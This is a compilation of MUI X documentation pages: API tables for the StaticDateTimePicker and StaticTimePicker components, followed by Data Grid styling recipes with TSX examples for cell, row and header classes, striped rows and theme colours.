Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| tabs | `DateTimePickerTabs` | - | Tabs enabling toggling between date and time pickers. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/StaticDateTimePicker/StaticDateTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/StaticDateTimePicker/StaticDateTimePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/static-time-picker.md

# StaticTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Time Picker](/x/react-date-pickers/time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { StaticTimePicker } from '@mui/x-date-pickers/StaticTimePicker';
// or
import { StaticTimePicker } from '@mui/x-date-pickers';
// or
import { StaticTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| displayStaticWrapperAs | `'desktop' \| 'mobile'` | `"mobile"` | No |  |
| localeText | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose (deprecated) | `func` | - | No | ⚠️ Please avoid using as it will be removed in next major version. |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| openTo | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ hours?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| toolbar | `TimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/StaticTimePicker/StaticTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/StaticTimePicker/StaticTimePicker.tsx)

---

# Source: https://mui.com/x/react-data-grid/style-recipes.md

# Data Grid - Styling recipes

Advanced grid styling recipes.

## Remove cell focus outline

The Data Grid cells are actionable elements and visually indicate the `focus` state by default.
You can remove the focus outline by overriding the `:focus` and `:focus-within` styles for the cells and header cells.

:::warning
Removing the visible `focus` state hurts the accessibility of the grid.
:::

```tsx
import { DataGridPro, gridClasses } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function CellFocusNoOutline() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        loading={loading}
        sx={{
          [`& .${gridClasses.cell}:focus, & .${gridClasses.cell}:focus-within`]: {
            outline: 'none',
          },
          [`& .${gridClasses.columnHeader}:focus, & .${gridClasses.columnHeader}:focus-within`]:
            {
              outline: 'none',
            },
        }}
        {...data}
      />
    </div>
  );
}

```

## Remove drag handle for columns that are not resizeable

In the MUI Data Grid, each column has a resize handle that lets users adjust the width of the column.
However, there might be cases where you want to disable this feature for certain columns.

To hide the drag handles on columns that are not resizable, you can use the resizable property in the GridColDef object.
When the column is not resizable, the drag handle will not have the `columnSeparator--resizable` class.
We can use that to hide the separator.

```tsx
import { DataGridPro, GridColDef, gridClasses } from '@mui/x-data-grid-pro';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

const columns: GridColDef[] = [
  {
    field: 'id',
  },
  {
    field: 'username',
    width: 200,
    resizable: false,
  },
  {
    field: 'age',
    width: 100,
    resizable: false,
  },
];

export default function ColumnHeaderHideSeparator() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        sx={{
          [`& .${gridClasses.columnSeparator}`]: {
            [`&:not(.${gridClasses['columnSeparator--resizable']})`]: {
              display: 'none',
            },
          },
        }}
      />
    </div>
  );
}

```

## Styling Cells without impacting aggregation cells [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Aggregation cells do not receive a special class, so styling cells without impacting them needs a small workaround in the `getClassName` function.

```tsx
import Box from '@mui/material/Box';
import {
  GridColDef,
  DataGridPremium,
  GridCellParams,
  gridClasses,
  isAutogeneratedRow,
} from '@mui/x-data-grid-premium';

// eliminate rounding errors in aggregation row
const valueFormatter: GridColDef['valueFormatter'] = (value) =>
  `${Math.floor(value * 1000) / 1000} °C`;

const columns: GridColDef[] = [
  { field: 'city' },
  {
    field: 'oct',
    type: 'number',
    valueFormatter,
  },
  {
    field: 'nov',
    type: 'number',
    valueFormatter,
  },
  {
    field: 'dec',
    type: 'number',
    valueFormatter,
  },
];

const rows = [
  { id: 1, city: 'Amsterdam', oct: 7.1, nov: 4, dec: 10.2 },
  { id: 2, city: 'Barcelona', oct: 14.9, nov: 12.3, dec: 18.2 },
  { id: 3, city: 'Paris', oct: 8.1, nov: 5.4, dec: 12.3 },
  { id: 4, city: 'São Paulo', oct: 20.2, nov: 21.1, dec: 19.2 },
];

export default function StylingAllCellsButAggregation() {
  return (
    <Box
      sx={{
        height: 300,
        width: '100%',
        [`.${gridClasses.cell}.cold`]: {
          backgroundColor: '#b9d5ff91',
          color: '#1a3e72',
        },
        [`.${gridClasses.cell}.hot`]: {
          backgroundColor: '#ff943975',
          color: '#1a3e72',
        },
      }}
    >
      <DataGridPremium
        rows={rows}
        columns={columns}
        getCellClassName={(params: GridCellParams<any, any, number>) => {
          if (
            params.field === 'city' ||
            params.value == null ||
            isAutogeneratedRow(params.row)
          ) {
            return '';
          }
          return params.value >= 15 ? 'hot' : 'cold';
        }}
        initialState={{
          aggregation: {
            model: {
              oct: 'avg',
              nov: 'avg',
              dec: 'avg',
            },
          },
        }}
      />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/style.md

# Data Grid - Styling

The grid CSS can be easily overwritten.

## Using the `sx` prop

For one-off styles, the `sx` prop can be used.
It lets you apply both simple and complex customizations directly to the Data Grid element.
The keys accepted can be any CSS property as well as the custom properties provided by MUI.
For more details, visit the [`sx` prop page](/system/getting-started/the-sx-prop/).

```tsx
<DataGrid sx={{ m: 2 }} /> // Sets the margin to 2 times the spacing unit = 16px
```

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function SxProp() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <Box sx={{ height: 300, width: '100%' }}>
      <DataGrid
        {...data}
        sx={{
          boxShadow: 2,
          border: 2,
          borderColor: 'primary.light',
          '& .MuiDataGrid-cell:hover': {
            color: 'primary.main',
          },
        }}
      />
    </Box>
  );
}

```

## Styling column headers

The `GridColDef` type has properties to apply class names and custom CSS on the header.

- `headerClassName`: to apply class names into the column header. It can also be a function, which is called with a `GridColumnHeaderParams` object.
- `headerAlign`: to align the content of the header. It must be 'left' | 'right' | 'center'.

```tsx
const columns: GridColDef[] = [
  {
    field: 'first',
    headerClassName: 'super-app-theme--header',
    headerAlign: 'center',
  },
  {
    field: 'last',
    headerClassName: 'super-app-theme--header',
    headerAlign: 'center',
  },
];
```

```tsx
import Box from '@mui/material/Box';
import { GridColDef, DataGrid } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  {
    field: 'first',
    headerClassName: 'super-app-theme--header',
    headerAlign: 'center',
    width: 140,
  },
  {
    field: 'last',
    headerClassName: 'super-app-theme--header',
    headerAlign: 'center',
    width: 140,
  },
];

const rows = [
  {
    id: 1,
    first: 'Jane',
    last: 'Carter',
  },
  {
    id: 2,
    first: 'Jack',
    last: 'Smith',
  },
  {
    id: 3,
    first: 'Gill',
    last: 'Martin',
  },
];

export default function StylingHeaderGrid() {
  return (
    <Box
      sx={{
        height: 300,
        width: '100%',
        '& .super-app-theme--header': {
          backgroundColor: 'rgba(255, 7, 0, 0.55)',
        },
      }}
    >
      <DataGrid rows={rows} columns={columns} />
    </Box>
  );
}

```

## Styling rows

The `getRowClassName` prop can be used to apply a custom CSS class on each row. It's called with a `GridRowParams` object and must return a string. Sometimes it might be needed to override the existing rules using higher specificity CSS selectors.

```tsx
interface GridRowParams<R extends GridRowModel = GridRowModel> {
  /**
   * The grid row id.
   */
  id: GridRowId;
  /**
   * The row model of the row that the current cell belongs to.
   */
  row: R;
  /**
   * All grid columns.
   */
  columns: GridColDef[];
}
```

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { darken, lighten, styled, Theme } from '@mui/material/styles';

const getBackgroundColor = (color: string, theme: Theme, coefficient: number) => ({
  backgroundColor: darken(color, coefficient),
  ...theme.applyStyles('light', {
    backgroundColor: lighten(color, coefficient),
  }),
});

const StyledDataGrid = styled(DataGrid)(({ theme }) => ({
  '& .super-app-theme--Open': {
    ...getBackgroundColor(theme.palette.info.main, theme, 0.7),
    '&:hover': {
      ...getBackgroundColor(theme.palette.info.main, theme, 0.6),
    },
    '&.Mui-selected': {
      ...getBackgroundColor(theme.palette.info.main, theme, 0.5),
      '&:hover': {
        ...getBackgroundColor(theme.palette.info.main, theme, 0.4),
      },
    },
  },
  '& .super-app-theme--Filled': {
    ...getBackgroundColor(theme.palette.success.main, theme, 0.7),
    '&:hover': {
      ...getBackgroundColor(theme.palette.success.main, theme, 0.6),
    },
    '&.Mui-selected': {
      ...getBackgroundColor(theme.palette.success.main, theme, 0.5),
      '&:hover': {
        ...getBackgroundColor(theme.palette.success.main, theme, 0.4),
      },
    },
  },
  '& .super-app-theme--PartiallyFilled': {
    ...getBackgroundColor(theme.palette.warning.main, theme, 0.7),
    '&:hover': {
      ...getBackgroundColor(theme.palette.warning.main, theme, 0.6),
    },
    '&.Mui-selected': {
      ...getBackgroundColor(theme.palette.warning.main, theme, 0.5),
      '&:hover': {
        ...getBackgroundColor(theme.palette.warning.main, theme, 0.4),
      },
    },
  },
  '& .super-app-theme--Rejected': {
    ...getBackgroundColor(theme.palette.error.main, theme, 0.7),
    '&:hover': {
      ...getBackgroundColor(theme.palette.error.main, theme, 0.6),
    },
    '&.Mui-selected': {
      ...getBackgroundColor(theme.palette.error.main, theme, 0.5),
      '&:hover': {
        ...getBackgroundColor(theme.palette.error.main, theme, 0.4),
      },
    },
  },
}));

export default function StylingRowsGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
  });

  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <StyledDataGrid
        {...data}
        loading={loading}
        getRowClassName={(params) => `super-app-theme--${params.row.status}`}
      />
    </Box>
  );
}

```

## Styling cells

There are multiple ways to apply a custom CSS class on a cell.

1. Using the`cellClassName` property of `GridColDef`:

This property lets you set a CSS class that is applied on every cell of the column it was defined.
It can also be a function, which is called with a `GridCellParams` object.

```tsx
const columns: GridColDef[] = [
  {
    field: 'name',
    cellClassName: 'super-app-theme--cell',
  },
  {
    field: 'score',
    type: 'number',
    cellClassName: (params: GridCellParams<number>) =>
      clsx('super-app', {
        negative: params.value < 0,
        positive: params.value > 0,
      }),
  },
];
```

```tsx
import Box from '@mui/material/Box';
import clsx from 'clsx';
import { GridColDef, DataGrid, GridCellParams } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  {
    field: 'name',
    cellClassName: 'super-app-theme--cell',
  },
  {
    field: 'score',
    type: 'number',
    width: 140,
    cellClassName: (params: GridCellParams<any, number>) => {
      if (params.value == null) {
        return '';
      }

      return clsx('super-app', {
        negative: params.value < 0,
        positive: params.value > 0,
      });
    },
  },
];

const rows = [
  {
    id: 1,
    name: 'Jane',
    score: 100,
  },
  {
    id: 2,
    name: 'Jack',
    score: -100,
  },
  {
    id: 3,
    name: 'Gill',
    score: -50,
  },
];

export default function StylingCellsGrid() {
  return (
    <Box
      sx={{
        height: 300,
        width: '100%',
        '& .super-app-theme--cell': {
          backgroundColor: 'rgba(224, 183, 60, 0.55)',
          color: '#1a3e72',
          fontWeight: '600',
        },
        '& .super-app.negative': {
          backgroundColor: 'rgba(157, 255, 118, 0.49)',
          color: '#1a3e72',
          fontWeight: '600',
        },
        '& .super-app.positive': {
          backgroundColor: '#d47483',
          color: '#1a3e72',
          fontWeight: '600',
        },
      }}
    >
      <DataGrid rows={rows} columns={columns} />
    </Box>
  );
}

```

2. Using the `getCellClassName` prop:

This prop is called for every cell in every column.
Different from the first option, this prop is defined at the Data Grid level, not column level.
It is also called with a `GridCellParams` object.

```tsx
import Box from '@mui/material/Box';
import { GridColDef, DataGrid, GridCellParams, gridClasses } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  { field: 'city' },
  { field: 'oct', type: 'number', valueFormatter: (value) => `${value} °C` },
  { field: 'nov', type: 'number', valueFormatter: (value) => `${value} °C` },
  { field: 'dec', type: 'number', valueFormatter: (value) => `${value} °C` },
];

const rows = [
  { id: 1, city: 'Amsterdam', oct: 7.1, nov: 4, dec: 10.2 },
  { id: 2, city: 'Barcelona', oct: 14.9, nov: 12.3, dec: 18.2 },
  { id: 3, city: 'Paris', oct: 8.1, nov: 5.4, dec: 12.3 },
  { id: 4, city: 'São Paulo', oct: 20.2, nov: 21.1, dec: 19.2 },
];

export default function StylingAllCells() {
  return (
    <Box
      sx={{
        height: 300,
        width: '100%',
        [`.${gridClasses.cell}.cold`]: {
          backgroundColor: '#b9d5ff91',
          color: '#1a3e72',
        },
        [`.${gridClasses.cell}.hot`]: {
          backgroundColor: '#ff943975',
          color: '#1a3e72',
        },
      }}
    >
      <DataGrid
        rows={rows}
        columns={columns}
        getCellClassName={(params: GridCellParams<any, any, number>) => {
          if (params.field === 'city' || params.value == null) {
            return '';
          }
          return params.value >= 15 ? 'hot' : 'cold';
        }}
      />
    </Box>
  );
}

```

## Cell alignment

Use the `align` property in `GridColDef` to change the alignment of content of the cells.
Choose between one of the following values: 'left' | 'right' | 'center'.

:::warning
You must use `headerAlign` to align the content of the header.
:::

## Striped rows

You can use the `indexRelativeToCurrentPage` param passed to `getRowClassName` to apply alternating styles to the rows.

The following demo illustrates how this can be achieved.

```tsx
import { alpha, styled } from '@mui/material/styles';
import { DataGrid, gridClasses } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const ODD_OPACITY = 0.2;

const StripedDataGrid = styled(DataGrid)(({ theme }) => ({
  [`& .${gridClasses.row}.even`]: {
    backgroundColor: theme.palette.grey[200],
    '&:hover': {
      backgroundColor: alpha(theme.palette.primary.main, ODD_OPACITY),
      '@media (hover: none)': {
        backgroundColor: 'transparent',
      },
    },
    '&.Mui-selected': {
      backgroundColor: alpha(
        theme.palette.primary.main,
        ODD_OPACITY + theme.palette.action.selectedOpacity,
      ),
      '&:hover': {
        backgroundColor: alpha(
          theme.palette.primary.main,
          ODD_OPACITY +
            theme.palette.action.selectedOpacity +
            theme.palette.action.hoverOpacity,
        ),
        // Reset on touch devices, it doesn't add specificity
        '@media (hover: none)': {
          backgroundColor: alpha(
            theme.palette.primary.main,
            ODD_OPACITY + theme.palette.action.selectedOpacity,
          ),
        },
      },
    },
    ...theme.applyStyles('dark', {
      backgroundColor: theme.palette.grey[800],
    }),
  },
}));

export default function StripedGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 200,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <StripedDataGrid
        loading={loading}
        {...data}
        getRowClassName={(params) =>
          params.indexRelativeToCurrentPage % 2 === 0 ? 'even' : 'odd'
        }
      />
    </div>
  );
}

```

## Container, header, and pinned sections

By default, the Data Grid uses the Material UI `theme.palette.background.default` color for the background color of the grid container, the column headers, and the pinned rows and columns.

You can override these background colors with the following theme configuration:

```tsx
import { createTheme } from '@mui/material/styles';
import type {} from '@mui/x-data-grid/themeAugmentation';

const theme = createTheme({
  palette: {
    DataGrid: {
      // Container background
      bg: '#f8fafc',
      // Pinned rows and columns background
      pinnedBg: '#f1f5f9',
      // Column header background
      headerBg: '#eaeff5',
    },
  },
});
```

### Light and dark mode in Material UI v6

Material UI v6 users can use the `colorSchemes` property to specify different colors for light and dark mode:

```tsx
import { createTheme } from '@mui/material/styles';
import type {} from '@mui/x-data-grid/themeAugmentation';

const theme = createTheme({
  colorSchemes: {
    light: {
      palette: {
        DataGrid: {
          bg: '#f8fafc',
          pinnedBg: '#f1f5f9',
          headerBg: '#eaeff5',
        },
      },
    },
    dark: {
      palette: {
        DataGrid: {
          bg: '#334155',
          pinnedBg: '#293548',
          headerBg: '#1e293b',
        },
      },
    },
  },
});
```

### Light and dark mode in Material UI v5

Material UI v5 supports specifying different colors for light and dark mode with two different themes, as shown in the demo below.

```tsx
import * as React from 'react';
import { ThemeProvider, createTheme } from '@mui/material/styles';
import { GridColDef } from '@mui/x-data-grid';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import Stack from '@mui/material/Stack';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import DarkModeIcon from '@mui/icons-material/DarkMode';
import LightModeIcon from '@mui/icons-material/LightMode';

type PaletteMode = 'light' | 'dark';

const getTheme = (mode: PaletteMode) =>
  createTheme({
    palette: {
      mode,
      DataGrid: {
        bg: mode === 'light' ? '#f8fafc' : '#334155',
        pinnedBg: mode === 'light' ? '#f1f5f9' : '#293548',
        headerBg: mode === 'light' ? '#eaeff5' : '#1e293b',
      },
    },
  });

const columns: GridColDef<(typeof rows)[number]>[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
    editable: true,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
    editable: true,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
    editable: true,
  },
  {
    field: 'fullName',
    headerName: 'Full name',
    description: 'This column has a value getter and is not sortable.',
    sortable: false,
    width: 160,
    valueGetter: (value, row) => `${row.firstName || ''} ${row.lastName || ''}`,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

export default function BackgroundColorsGrid() {
  const [mode, setMode] = React.useState<PaletteMode>('light');
  const theme = React.useMemo(() => getTheme(mode), [mode]);

  return (
    <Stack direction="column" gap={1} style={{ width: '100%', height: 400 }}>
      <ToggleButtonGroup
        size="small"
        color="primary"
        value={mode}
        onChange={(event, value) => setMode(value === null ? mode : value)}
        exclusive
      >
        <ToggleButton value="light" aria-label="Light mode" sx={{ gap: 1 }}>
          <LightModeIcon fontSize="small" /> Light
        </ToggleButton>
        <ToggleButton value="dark" aria-label="Dark mode" sx={{ gap: 1 }}>
          <DarkModeIcon fontSize="small" /> Dark
        </ToggleButton>
      </ToggleButtonGroup>

      <ThemeProvider theme={theme}>
        <DataGridPremium
          rows={rows}
          columns={columns}
          initialState={{
            pagination: {
              paginationModel: {
                pageSize: 5,
              },
            },
            pinnedColumns: {
              left: ['id'],
            },
          }}
          pinnedRows={{
            bottom: [rows[0]],
          }}
        />
      </ThemeProvider>
    </Stack>
  );
}

```

## Custom theme

The following demo leverages the CSS customization API to match the Ant Design specification.

```tsx
import * as React from 'react';
import {
  DataGrid,
  gridPageCountSelector,
  gridPageSelector,
  useGridApiContext,
  useGridSelector,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { Theme, styled } from '@mui/material/styles';
import Pagination from '@mui/material/Pagination';
import PaginationItem from '@mui/material/PaginationItem';

function customCheckbox(theme: Theme) {
  return {
    '& .MuiCheckbox-root svg': {
      width: 16,
      height: 16,
      backgroundColor: 'transparent',
      border: '1px solid #d9d9d9',
      borderRadius: 2,
      ...theme.applyStyles('dark', {
        borderColor: 'rgb(67, 67, 67)',
      }),
    },
    '& .MuiCheckbox-root svg path': {
      display: 'none',
    },
    '& .MuiCheckbox-root.Mui-checked:not(.MuiCheckbox-indeterminate) svg': {
      backgroundColor: '#1890ff',
      borderColor: '#1890ff',
    },
    '& .MuiCheckbox-root.Mui-checked .MuiIconButton-label:after': {
      position: 'absolute',
      display: 'table',
      border: '2px solid #fff',
      borderTop: 0,
      borderLeft: 0,
      transform: 'rotate(45deg) translate(-50%,-50%)',
      opacity: 1,
      transition: 'all .2s cubic-bezier(.12,.4,.29,1.46) .1s',
      content: '""',
      top: '50%',
      left: '39%',
      width: 5.71428571,
      height: 9.14285714,
    },
    '& .MuiCheckbox-root.MuiCheckbox-indeterminate .MuiIconButton-label:after': {
      width: 8,
      height: 8,
      backgroundColor: '#1890ff',
      transform: 'none',
      top: '39%',
      border: 0,
    },
  };
}

const StyledDataGrid = styled(DataGrid)(({ theme }) => ({
  border: 0,
  color: 'rgba(255,255,255,0.85)',
  fontFamily: [
    '-apple-system',
    'BlinkMacSystemFont',
    '"Segoe UI"',
    'Roboto',
    '"Helvetica Neue"',
    'Arial',
    'sans-serif',
    '"Apple Color Emoji"',
    '"Segoe UI Emoji"',
    '"Segoe UI Symbol"',
  ].join(','),
  WebkitFontSmoothing: 'auto',
  letterSpacing: 'normal',
  '& .MuiDataGrid-columnsContainer': {
    backgroundColor: '#1d1d1d',
    ...theme.applyStyles('light', {
      backgroundColor: '#fafafa',
    }),
  },
  '& .MuiDataGrid-iconSeparator': {
    display: 'none',
  },
  '& .MuiDataGrid-columnHeader, .MuiDataGrid-cell': {
    borderRight: '1px solid #303030',
    ...theme.applyStyles('light', {
      borderRightColor: '#f0f0f0',
    }),
  },
  '& .MuiDataGrid-columnsContainer, .MuiDataGrid-cell': {
    borderBottom: '1px solid #303030',
    ...theme.applyStyles('light', {
      borderBottomColor: '#f0f0f0',
    }),
  },
  '& .MuiDataGrid-cell': {
    color: 'rgba(255,255,255,0.65)',
    ...theme.applyStyles('light', {
      color: 'rgba(0,0,0,.85)',
    }),
  },
  '& .MuiPaginationItem-root': {
    borderRadius: 0,
  },
  ...customCheckbox(theme),
  ...theme.applyStyles('light', {
    color: 'rgba(0,0,0,.85)',
  }),
}));

function CustomPagination() {
  const apiRef = useGridApiContext();
  const page = useGridSelector(apiRef, gridPageSelector);
  const pageCount = useGridSelector(apiRef, gridPageCountSelector);

  return (
    <Pagination
      color="primary"
      variant="outlined"
      shape="rounded"
      page={page + 1}
      count={pageCount}
      // @ts-expect-error
      renderItem={(props2) => <PaginationItem {...props2} disableRipple />}
      onChange={(event: React.ChangeEvent<unknown>, value: number) =>
        apiRef.current.setPage(value - 1)
      }
    />
  );
}

const PAGE_SIZE = 5;

export default function AntDesignGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  const [paginationModel, setPaginationModel] = React.useState({
    pageSize: PAGE_SIZE,
    page: 0,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <StyledDataGrid
        checkboxSelection
        paginationModel={paginationModel}
        onPaginationModelChange={setPaginationModel}
        pageSizeOptions={[PAGE_SIZE]}
        slots={{
          pagination: CustomPagination,
        }}
        {...data}
      />
    </div>
  );
}

```

## Styling row groups [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Use `getRowClassName` to add a custom class to the row group and then write CSS to style it.

The example below demonstrates how to style a row group when any of the child rows has a "Gross" value greater than a specific value. The condition uses [`gridRowNodeSelector` and `gridRowSelector`](/x/react-data-grid/row-definition/#selectors) to check for the targeted row type and to get the row data respectively.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  GridRowClassNameParams,
  gridRowNodeSelector,
  gridRowSelector,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

type Movie = ReturnType<typeof useMovieData>['rows'][number];

const EXPECTED_GROSS = 2000000000;
const ROW_HEIGHT = 52;

export default function RowGroupingStyling() {
  const apiRef = useGridApiRef();
  const data = useMovieData();
  const getRowClassName = React.useCallback(
    (params: GridRowClassNameParams<Movie>) => {
      const node = gridRowNodeSelector(apiRef, params.id);

      if (!node) {
        return '';
      }

      if (node.type === 'group') {
        for (const childId of node.children) {
          const childNode = gridRowNodeSelector(apiRef, childId);
          if (childNode && childNode.type === 'leaf') {
            const childRow = gridRowSelector(apiRef, childId) as Movie;
            if (childRow?.gross && childRow.gross > EXPECTED_GROSS) {
              return 'highlighted-group';
            }
          }
        }

        return '';
      }

      const row = params.row;

      if (row.gross > EXPECTED_GROSS) {
        return 'highlighted-child';
      }

      return '';
    },
    [apiRef],
  );

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        initialState={initialState}
        getRowClassName={getRowClassName}
        sx={(theme) => ({
          '& .highlighted-group': {
            '&::before': {
              content: '""',
              display: 'block',
              position: 'absolute',
              left: 0,
              width: 4,
              height: `calc(${ROW_HEIGHT}px * 0.8)`,
              marginTop: `calc(${ROW_HEIGHT}px * 0.1)`,
              backgroundColor: 'success.main',
              borderTopRightRadius: 4,
              borderBottomRightRadius: 4,
            },
          },
          '& .highlighted-child': {
            backgroundColor: `color-mix(in srgb, ${(theme.vars || theme).palette.success.main} 8%, transparent)`,
            '&:hover': {
              backgroundColor: `color-mix(in srgb, ${(theme.vars || theme).palette.success.main} 12%, transparent)`,
            },
          },
        })}
      />
    </div>
  );
}

```

:::success
The styling method is not limited to the [`sx` prop](/x/react-data-grid/style/#using-the-sx-prop). You can use other styling solutions like plain CSS files or CSS modules.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/time-clock.md

# Source: https://mui.com/x/react-date-pickers/time-clock.md

---
productId: x-date-pickers
title: React Time Clock component
components: TimeClock
